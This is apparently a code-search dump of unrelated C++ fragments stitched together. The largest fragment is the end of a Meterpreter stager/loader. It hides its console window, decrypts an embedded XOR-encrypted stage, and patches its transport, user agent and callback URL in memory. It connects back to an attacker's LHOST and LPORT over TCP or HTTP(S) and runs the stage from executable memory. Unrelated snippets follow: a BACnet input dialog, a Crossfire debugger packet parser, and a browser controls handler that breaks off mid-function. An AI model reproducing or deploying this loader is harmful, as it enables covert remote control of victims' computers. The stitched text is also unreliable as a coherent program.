				}  else if (wcscmp(argv[i], L"-f") == 0) {		//Should we load the stage from a file rather than from the resource?
					wcscpy_s(StageFilePath,argv[i + 1]);
				}  else if (wcscmp(argv[i], L"--help") == 0) {		//Print usage and quit
					print_header();
					usage();
					exit(1);
				}  else if (wcscmp(argv[i], L"--msfpayload") == 0) {		//are we going to mimic msfpayload?
					MSFPAYLOAD = true;
				}
		}
		//Do we have the minimum parameters?
		if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
		{
			dprintf(L"[-] Not enough parameters! \n\n");
			usage();
			exit(1);
		} else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource.
		
		//////////////////////// start of msfpayload //////////////////////////////
		if(MSFPAYLOAD) // We will create a new exe with specified options, then exit
		{
			dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n");
			dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2);
			dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST);
			dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT);

			UnicodeToAnsi(ANSItransport, UNICODEtransport_2);
			UnicodeToAnsi(ANSIlhost, payload_settings.LHOST);
			UnicodeToAnsi(ANSIlport, payload_settings.LPORT);

			msfpayload(ANSItransport, ANSIlhost, ANSIlport);
			//msfpayload will exit ...
		}

		///////////////////////////////// Parsing from resource ///////////////////////////////////
	/*	Will try to parse options from resource, 
		this can fail in two ways:
			one: if we couldn't read from resource
			two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport
		So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from.
	*/
	}
	else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one.
	{
		Stealth(); // hide window :) 
		payload_settings.TRANSPORT	=	UNICODEtransport;
		payload_settings.LHOST		=	UNICODElhost;
		payload_settings.LPORT		=	UNICODElport;
		
		//Start of TRANSPORT Checks and adjustments
		_wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase
		if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
		}
		else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			metsvc = true;
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			bBind = true;
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			metsvc = true;
			bBind = true;
		}
	}
	// check...
	if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
	{
		dprintf(L"[-] Not enough parameters! \n\n");
		print_header();
		usage();
		exit(1);
	}

	//Have we been asked to load the stage from a file?
	if(wcscmp(StageFilePath, L"") != 0)
	{
		dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath);
		bufferSize = CopyStageToBuffer(StageFilePath, &buffer);
	} else { // If not, We'll try to load the stage from the resource ...

		// Read resource into buffer ...
		dprintf(L"[*] Loading stage into memory from resource...\n");
		bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer
		if (bufferSize == 0) // if something went wrong...
		{
			FallbackToStager = true; // We will function in "stager" mode.
			if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right?
			{
				dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n");
				dprintf(L"    sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n");
				dprintf(L"[-] ... will exit.\n");
				exit(1);
			} else
			{
				dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n");
			}
		}
	}
	/*///////////////////////////
	/////////////////////////////
	Warning! Program split ahead!
	/////////////////////////////
	/////////////////////////////

	At this given point, we know where the stage is going to be loaded from,
	either from resource (default), file or from the multi/handler, which will be handled differently.

	========
	Wrapping up what happened so far:
	if(-f specified)
		load_stager_from_file
			else
				load_stage_from_resource

	---
	buffer == stage?;
	if (failed?) set FallbackToStager = true;

	if(FallbackToStager){
		Act as a "regular" stand-alone meterpreter exe;
			populate buffer,
				if(tcp) adjust buffer usng ASM voodoo;
	} else {
		buffer already has the stage,
			decrypt it,
				patch it, 
					do your stuff (socket, url building ..etc.)
	}
	now buffer == stage!!
	((void (*)())buffer)();
	_____________________
	Ready? let's do it...
	*/

	if(FallbackToStager)
		//--------- Start of "working as a stager" ------------//
	{

		if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport.
		{
			if(bBind)		/* bind_tcp */
				StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
			else
				StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
		} 

		else
		{
			StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT);
		}
	}
		//--------- End of "working as a stager" ------------//
	
	
	else //This is where "working as an inline stand-alone exe" stuff starts...
	{
		//Is the stage encrypted?
		if(memcmp(&buffer[0],"MZ",2))
		{
			dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n");
			GetKeyFromBuffer(buffer, EncKey, 16);
			printf("[*] \"%s\" will be used; decrypting...\n", EncKey);
			XORcrypt(buffer, EncKey, bufferSize);
			if(memcmp(&buffer[16],"MZ",2))
			{
				dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n");
			buffer = buffer + 16;
			StageSize = bufferSize - 16;
		} else {
			dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n");
			StageSize = bufferSize;
		}

		/////////////////////////////////////////
		/****************************************
		*		Patching Stage in memory.		*
		****************************************/
		/////////////////////////////////////////

		// Patching transport 
		index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport));
		if (index == 0) // if the transport is not found ...
		{
			dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
			exit(1);
		}
		dprintf(L"[*] Patching transport: Offset 0x%08x ->  \"%s\"\n", index, payload_settings.TRANSPORT );
		PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT));

		// Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar!
		index = 0;  //rewind

		
		DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7;
		dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index);
		unsigned char AddressChar[4];		
		memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4);	// What the !$#% ... will discuss with anwar those casted-casts...
		memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4);

		//for ( unsigned int i=0; i<sizeof(ReflectiveDllBootStrap); i++) { printf("%x ",(unsigned char)ReflectiveDllBootStrap[i]); }  
		memcpy(buffer, ReflectiveDllBootStrap, 62);//overwrite dos header with the ReflectiveDll bootstrap

		//////////////////////////////////////////
		//  Stuff needed for HTTP/HTTPS only!!  //
		//////////////////////////////////////////
		if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
		{

			//Patching UserAgent
			index = 0; //rewind.
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_ua, (int)strlen(global_meterpreter_ua));
			if (index == 0) // if the UA is not found ...
			{
				dprintf(L"[-] Couldn't locate UA string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}
			if(payload_settings.USER_AGENT == NULL)
			{
				dprintf(L"[!] No UserAgent specified, using default one ...\n");
				payload_settings.USER_AGENT = L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0\x00";
			}
			dprintf(L"[*] Patching UA: Offset 0x%08x -> \"%s\"\n", index, payload_settings.USER_AGENT);
			PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT));

			//Patching global expiration timeout.
			index = 0; //rewind
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll 
			if (index == 0) // if the global_expiration_timeout is not found ...
			{
				dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}

			if(payload_settings.expiration_timeout == NULL)
			{
				dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n");
				payload_settings.expiration_timeout = 60400;
			}
			dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout);
			memcpy(&buffer[index], &payload_settings.expiration_timeout, 4);

			//Patching global_comm_timeout.
			index = 0; //rewind
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll 
			if (index == 0) // if the global_expiration_timeout is not found ...
			{
				dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}

			if(payload_settings.comm_timeout == NULL)
			{
				dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n");
				payload_settings.comm_timeout = 300;
			}
			dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout);
			memcpy(&buffer[index], &payload_settings.comm_timeout, 4);
		}

		/*
		*	Preparing connection...
		*/
		// Are we reverse_metsvc?
		if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind.
		{
			if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference.
			{
				// If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage
				// That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc.
				// However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless.
				// ... but we have to tell them what they've done wrong.
				dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n" 
						L"    next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n"
						L" -  anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n");
					
				dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n");
				
				// Let's just fallback to stager mode ... you foolish noisy bandwidth wasters.
				StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
				// see you on the other side :)
			} 

			// we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :)

			// Adjusting buffer .. this is important!
			// reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler` 
			// My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents 
			// of "buffer" over, then point buffer to that new TempBuffer ... then take it from there.
			TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			memcpy(TempBuffer + 5, buffer, StageSize);		//skiping first five bytes, then copying buffer contents ...
			buffer = TempBuffer;							//Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :).
			//////////////////////////////////////////////////

			if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n");
			ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT);
			if (ConnectSocket == INVALID_SOCKET)
			{
				dprintf(L"[-] Failed to connect ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Setting EDI-to-be value:  0x%08x -> 0xBF\n", &buffer);
			buffer[0] = 0xBF;
			dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
			memcpy(buffer+1, &ConnectSocket, 4);
		} 
		
				// Are we bind??
		else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer.
		{
			if(!metsvc)
			{
				dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n" 
						L"    next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n"
						L" -  anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n");
					
				dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n");

				StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
			} 
			
			TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			memcpy(TempBuffer + 5, buffer, StageSize);
			buffer = TempBuffer;

			if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n");
			ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT);
			if (ConnectSocket == INVALID_SOCKET)
			{
				dprintf(L"[-] Failed to connect ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Setting EDI-to-be value:  0x%08x -> 0xBF\n", &buffer);
			buffer[0] = 0xBF;
			dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
			memcpy(buffer+1, &ConnectSocket, 4);
		} 

		// Are we reverse_http(s)?
		else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
		{
			/*
			Building the URL
			*/
			int checksum = 0;			//Calculated Checksum placeholder. 
			char URI_Part_1[5] = {0};	//4 chars ... it can be any length actually.
			char URI_Part_2[17] = {0};	//16 random chars.
			srand ( (UINT)time(NULL) );	//Seed rand() 

			while(true)				//Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
			{
				gen_random(URI_Part_1, 4);				//Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine.
				checksum = TextChecksum8(URI_Part_1);	//Get the 8-bit checksum of the random value
				if(checksum == URI_CHECKSUM_CONN)		//If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session.
				{
					break; // We found a random string that checksums to 98
				}
			}
			gen_random(URI_Part_2, 16);	//get second part, random 16 chars

			//Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/
			//HTTP? HTTPS?
			if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0)
				strcat_s(url, "http://");
			else
				strcat_s(url, "https://");

			//The joys of converting between wchar_t and char ...
			char tempChar1[512] = {0}; //This is used for converting from wchar_t to char... 
			char tempChar2[512] = {0}; //This is used for converting from wchar_t to char... 

			wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char
			wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char

			//wide-char conversion happiness ends here... building the url...
			strcat_s(url,tempChar1);	// "http(s)://LHOST"
			strcat_s(url,":");			// "http(s)://LHOST:"
			strcat_s(url,tempChar2);	// "http(s)://LHOST:LPORT"
			strcat_s(url,"/");			// "http(s)://LHOST:LPORT/"
			strcat_s(url,URI_Part_1);	// "http(s)://LHOST:LPORT/CONN"
			strcat_s(url,"_");			// "http(s)://LHOST:LPORT/CONN_"
			strcat_s(url,URI_Part_2);	// "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX"
			strcat_s(url,"/\0");		// "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/"
			//Thanks for waiting... :)

			wchar_t temp[512] = {0};
			mbstowcs_s(NULL,temp,url,strlen(url));
			dprintf(L"[*] Calculated URL: %s\n",temp);

			//Patching URL ...
			index = 0; //Rewind
			index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url));
			if (index == 0) // if the global_meterpreter_url is not found ...
			{
				dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}
			dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x ->  \"%s\"\n", index, temp );
			memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X'
		}

	}

	dprintf(L"[*] Everything in place, casting whole buffer as a function...\n");
	function = (void (*)())buffer;

	dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
	FreeConsole();
	function();
	return 0;
}
void CBacnetInput::OnBnClickedButtonApply()
{
    // TODO: Add your control notification handler code here
    for (int i=0; i<(int)m_Input_data.size(); i++)
    {
        CString cs_temp=m_input_list.GetItemText(i,INPUT_FULL_LABLE);
        char cTemp[255];
        memset(cTemp,0,255);
        WideCharToMultiByte( CP_ACP, 0, cs_temp.GetBuffer(), -1, cTemp, 255, NULL, NULL );
        memcpy_s(m_Input_data.at(i).description,21,cTemp,21);

        cs_temp=m_input_list.GetItemText(i,INPUT_AUTO_MANUAL);
        if(cs_temp.CompareNoCase(_T("Auto"))==0)
        {
            m_Input_data.at(i).auto_manual=0;
        }
        else
        {
            m_Input_data.at(i).auto_manual=1;
        }

        cs_temp=m_input_list.GetItemText(i,INPUT_RANGE);
        int index_number=0;
        for(int j=0; j<(int)sizeof(Input_Range_Array)/sizeof(Input_Range_Array[0]); j++)
        {
            if(cs_temp.CompareNoCase(Input_Range_Array[j])==0)
            {
                index_number=j;
                break;
            }
        }
        m_Input_data.at(i).range = index_number;

        cs_temp=m_input_list.GetItemText(i,INPUT_UNITE);
        index_number=0;
        for(int j=0; j<(int)sizeof(Input_Unit)/sizeof(Input_Unit[0]); j++) //unit单位很多,在列表中查找
        {
            if(cs_temp.CompareNoCase(Input_Unit[j])==0)
            {
                index_number=j;
                break;
            }
        }

        cs_temp = m_input_list.GetItemText(i,INPUT_VALUE);
        m_Input_data.at(i).value = _wtoi(cs_temp);


        cs_temp=m_input_list.GetItemText(i,INPUT_CAL);
        int cal_value = _wtoi(cs_temp);
        m_Input_data.at(i).calibration = cal_value;


        cs_temp=m_input_list.GetItemText(i,INPUT_FITLER);
        int  temp2 = _wtoi(cs_temp);
        m_Input_data.at(i).filter =(int8_t) (log((double)temp2)/log((double)2));


        cs_temp = m_input_list.GetItemText(i,INPUT_DECOM);
        int dec_index=-1;
        for (int m=0; m<(int)sizeof(Decom_Array)/sizeof(Decom_Array[0]); m++)
        {
            if(cs_temp.CompareNoCase(Decom_Array[m])==0)
            {
                dec_index = m;
                break;
            }
        }
        m_Input_data.at(i).decom = dec_index;

        cs_temp=m_input_list.GetItemText(i,INPUT_LABLE);
        char cTemp1[255];
        memset(cTemp1,0,255);
        WideCharToMultiByte( CP_ACP, 0, cs_temp.GetBuffer(), -1, cTemp1, 255, NULL, NULL );
        memcpy_s(m_Input_data.at(i).label,STR_IN_LABEL,cTemp1,STR_IN_LABEL);
    }
    Post_Write_Message(g_bac_instance,WRITEINPUT_T3000,0,19,sizeof(Str_in_point),BacNet_hwd);

}
void CrossfireServer::received(wchar_t* msg) {
	if (!m_handshakeReceived) {
		if (wcsncmp(msg, HANDSHAKE, wcslen(HANDSHAKE)) == 0) {
			processHandshake(msg);
			m_lastRequestSeq = -1;
		} else {
			Logger::error("Crossfire content received before handshake, not processing it");
		}
		return;
	}

	m_inProgressPacket->append(std::wstring(msg));
	std::wstring packet;
	do {
		wchar_t* parseErrorMessage = NULL;
		bool errorMessageRequiresFree = false;
		int code = CODE_OK;
		packet.clear();

		if (m_inProgressPacket->find(HEADER_CONTENTLENGTH) != 0) {
			code = CODE_MALFORMED_PACKET;
			parseErrorMessage = L"request packet does not start with 'Content-Length:', not processing it";
			m_inProgressPacket->clear();
			break;
		}

		size_t endIndex = m_inProgressPacket->find(wchar_t('\r'));
		if (endIndex == std::wstring::npos) {
			code = CODE_MALFORMED_PACKET;
			parseErrorMessage = L"request packet does not contain '\r', not processing it";
			m_inProgressPacket->clear();
			break;
		}

		size_t headerLength = wcslen(HEADER_CONTENTLENGTH);
		std::wstring lengthString = m_inProgressPacket->substr(headerLength, endIndex - headerLength);
		int lengthValue = _wtoi(lengthString.c_str());
		if (!lengthValue) {
			code = CODE_MALFORMED_PACKET;
			parseErrorMessage = L"request packet does not have a valid 'Content-Length' value, not processing it";
			m_inProgressPacket->clear();
			break;
		}

		if (m_inProgressPacket->find(L"\r\n", endIndex) != endIndex) {
			code = CODE_MALFORMED_PACKET;
			parseErrorMessage = L"request packet does not follow initial '\\r' with '\\n', not processing it";
			m_inProgressPacket->clear();
			break;
		}

		// TODO for now just skip over "tool:" lines, though these should really be validated

		size_t toolEnd = m_inProgressPacket->find(L"\r\n\r\n", endIndex);
		if (toolEnd == std::wstring::npos) {
			code = CODE_MALFORMED_PACKET;
			parseErrorMessage = L"request packet does not contain '\\r\\n\\r\\n' to delimit its header, not processing it";
			m_inProgressPacket->clear();
			break;
		}
		size_t toolsLength = toolEnd - endIndex;
		size_t targetLength = wcslen(HEADER_CONTENTLENGTH) + lengthString.length() + 3 * LINEBREAK_LENGTH + toolsLength + lengthValue;

		if (targetLength <= m_inProgressPacket->length()) {
			packet.assign(m_inProgressPacket->substr(0, targetLength));
			m_inProgressPacket->erase(0, targetLength);
		}

		if (packet.length()) {
			CrossfireRequest* request = NULL;
			code = m_processor->parseRequestPacket(&packet, &request, &parseErrorMessage);
			if (code != CODE_OK) {
				errorMessageRequiresFree = true;
			} else {
				unsigned int seq = request->getSeq();
				if (!(m_lastRequestSeq == -1 || seq == m_lastRequestSeq + 1)) {
					// TODO handle out-of-order packets
					Logger::log("packet received out of sequence, still processing it");
				}
				m_lastRequestSeq = seq;
				m_processingRequest = true;
				if (!performRequest(request)) {
					/*
					 * the request's command was not handled by the server,
					 * so try to delegate to the specified context, if any
					 */
					CrossfireContext* context = getRequestContext(request);
					if (!context) {
						Logger::error("request command was unknown to the server and a valid context id was not provided, not processing it");
					} else {
						if (!context->performRequest(request)) {
							Logger::error("request command was unknown to the server and to the specified context, not processing it");
						}
					}
				}
				m_processingRequest = false;
				delete request;

				/*
				 * Debugger events may have been received in response to the request that was
				 * just processed.  These events can be sent now that processing of the request
				 * is complete.
				 */
				sendPendingEvents();
			}
		}

		if (code) {
			CrossfireResponse response;
			response.setCode(CODE_MALFORMED_PACKET);
			response.setMessage(parseErrorMessage);
			if (errorMessageRequiresFree) {
				free(parseErrorMessage);
			}
			Value emptyBody;
			emptyBody.setType(TYPE_OBJECT);
			response.setBody(&emptyBody);
			sendResponse(&response);
		}
	} while (packet.length() > 0 && m_inProgressPacket->length() > 0);
}
Example #16
0
BOOL CControlsModule::MetaProc(PBMetaStruct *pbMetaStructure, PPBSTRUCT pPBStructure, void *pParam)
{
	INSTANCE_DATA *pdata = (INSTANCE_DATA*) pParam;
	if (!pdata)
	{
		WRITELOG (L"pParam null");
		return FALSE;
	}

	LPCWSTR pparameter = pbMetaStructure->lpParameter;
	LPCWSTR pvalue = pbMetaStructure->lpValue;
	CControlListEntry *plist_entry;

	// Get CControl which we're operating on from the array in the instance data
	// Instantiate as necessary

	CControl *pcontrol = NULL;

	switch (nControlType)
	{
		case CT_QUITBUTTON:
			if (!pdata->pQuitButton)
				pdata->pQuitButton = new CQuitButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pQuitButton;
			break;

		case CT_RELOADBUTTON:
			if (!pdata->pReloadButton)
				pdata->pReloadButton = new CReloadButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pReloadButton;
			break;

		case CT_ADDRESSBAR:
			if (!pdata->pAddressBar)
			{
				pdata->pAddressBar = new CAddressBar (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);

				// If there's a go button then pass the address bar to it
				if (pdata->pGoButton)
					pdata->pGoButton->SetAddressBar(pdata->pAddressBar);
			}
			pcontrol = pdata->pAddressBar;
			break;

		case CT_TOPCOMMANDAREA:
			if (!pdata->pTopCommandArea)
			{
				pdata->pTopCommandArea = new CTopCommandArea (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
				BringControlsToFront (pdata);
			}
			pcontrol = pdata->pTopCommandArea;
			break;

		case CT_BOTTOMCOMMANDAREA:
			if (!pdata->pBottomCommandArea)
			{
				pdata->pBottomCommandArea = new CBottomCommandArea (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
				BringControlsToFront (pdata);
			}
			pcontrol = pdata->pBottomCommandArea;
			break;

		case CT_BACKBUTTON:
			if (!pdata->pBackButton)
				pdata->pBackButton = new CBackButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pBackButton;
			break;

		case CT_FORWARDBUTTON:
			if (!pdata->pForwardButton)
				pdata->pForwardButton = new CForwardButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pForwardButton;
			break;

		case CT_GOBUTTON:
			if (!pdata->pGoButton)
			{
				pdata->pGoButton = new CGoButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);

				// If there's an address bar then pass a pointer to it
				if (pdata->pAddressBar)
					pdata->pGoButton->SetAddressBar (pdata->pAddressBar);

				// If there's a stop button make sure it's under the go button
				if (pdata->pStopButton)
					SetWindowPos (pdata->pStopButton->GetWindow (), pdata->pGoButton->GetWindow (), 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
			}
			pcontrol = pdata->pGoButton;
			break;

		case CT_HOMEBUTTON:
			if (!pdata->pHomeButton)
				pdata->pHomeButton = new CHomeButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pHomeButton;
			break;

		case CT_MINIMIZEBUTTON:
			if (!pdata->pMinimizeButton)
				pdata->pMinimizeButton = new CMinimizeButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pMinimizeButton;
			break;

		case CT_PAGEZOOMINBUTTON:
			if (!pdata->pPageZoomInButton)
				pdata->pPageZoomInButton = new CPageZoomInButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pPageZoomInButton;
			break;

		case CT_PAGEZOOMOUTBUTTON:
			if (!pdata->pPageZoomOutButton)
				pdata->pPageZoomOutButton = new CPageZoomOutButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pPageZoomOutButton;
			break;

		case CT_SIPBUTTON:
			if (!pdata->pSIPButton)
				pdata->pSIPButton = new CSIPButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pSIPButton;
			break;

		case CT_STOPBUTTON:
			if (!pdata->pStopButton)
			{
				pdata->pStopButton = new CStopButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);

				// If there's a go button make sure it's on top of the stop button
				if (pdata->pGoButton)
					SetWindowPos (pdata->pStopButton->GetWindow (), pdata->pGoButton->GetWindow (), 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
			}
			pcontrol = pdata->pStopButton;
			break;

		case CT_ZOOMTEXTBUTTON:
			if (!pdata->pZoomTextButton)
				pdata->pZoomTextButton = new CZoomTextButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pZoomTextButton;
			break;

		case CT_KEYSTATE:
			if (!pdata->pKeyState)
				pdata->pKeyState = new CKeyState (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pKeyState;
			break;

		case CT_SCROLL:
			if (!pdata->pScroll)
				pdata->pScroll = new CScroll (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pScroll;
			break;

		case CT_BATTERY:
			if (!pdata->pBattery)
				pdata->pBattery = new CBattery (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
			pcontrol = pdata->pBattery;
			break;

		case CT_SIGNAL:
			if (!pdata->pSignal)
			{
				pdata->pSignal = new CSignal (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);

				// Check WLAN available
				if (!pdata->pSignal->OpenWLAN ())
				{
					delete pdata->pSignal;
					pdata->pSignal = NULL;

					WRITELOG (L"WLAN support not available");
					return TRUE;
				}
				
			}
			pcontrol = pdata->pSignal;
			break;

		case CT_CUSTOMBUTTON:
			// Record custom button ID
			if (cmp (pparameter, L"id"))
				WSAFECOPY (pdata->sControlID, pvalue);

